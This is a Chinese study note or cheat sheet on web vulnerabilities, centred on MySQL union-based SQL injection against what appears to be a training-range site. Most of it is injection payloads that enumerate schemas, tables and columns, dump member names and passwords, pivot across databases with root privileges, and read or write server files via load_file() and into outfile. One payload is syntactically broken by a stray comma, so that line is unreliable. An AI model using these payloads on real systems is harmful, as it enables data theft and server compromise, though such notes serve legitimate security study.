Web漏洞导图
漏洞等级
高危:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行
中危:反序列化、逻辑安全
SQL注入
MySql注入
判断注入
-
猜解列名、字段数量
order by int
-
猜解准备,找报错
xxxx?id=-1 union select 1,2,3,4
寻找可以更改的字段 -
信息收集
- 数据库版本:version()
- 数据库名:database()
- 数据库用户:user()
- 操作系统:@@version_compile_os
information_schema.tables:记录所有表名信息
information_schema.columns:记录所有列名信息
-
获取数据库
mozhe_Discuz_StormGroup
中的所有表名:
id=-1
union
select 1,group_concat(table_name),3,4
from information_schema.tables
where table_schema="mozhe_Discuz_StormGroup"
5.获取表StormGroup_member
中所有列名:
id=-1
union
select 1,group_concat(column_name),3,4
from information_schema.columns
where table_name="StormGroup_member"
- 进行注入
id=-1
union
select 1,name,password,4 from StormGroup_member limit 0,1
高权限注入
高权限注入指:拿到高权限用户如root
的权限,可以通过注入一个数据库,间接获取另一个数据库的信息。
- 获取所有数据库名:
id=-1
union
select 1, group_concat(schema_name), 3
from information_schema.schemata
- 拿到所有数据库名后,获取指定的
dbtest
数据库名下的表名信息:
id=-1
union
select 1, group_concat(table_name), 3
from information_schema.tables
where table_schema='dbtest'
- 知道表结构后,获取指定的
tbtest
下的列名信息:
id=-1
union
select 1, group_concat(column_name), 3
from information_schema.columns
where table_name='tbtest' and table_schema='dbtest'
- 最后获取指定的
dbtest
数据库中的tbtest
数据表相关的a
、b
列的信息:
id=-1
union
select 1, a, b,
from dbtest.tbtest
文件读写
-
适用于MySql的操作函数:
-
文件读取函数:load_file()
select load_file('filepath');
-
文件导出函数:into outfile 或者 into dumpfile
select 'info' into outfile 'filepath';
-
-
文件路径获取方法:
- 报错显示、遗留文件、漏洞报错、平台配置文件、爆破等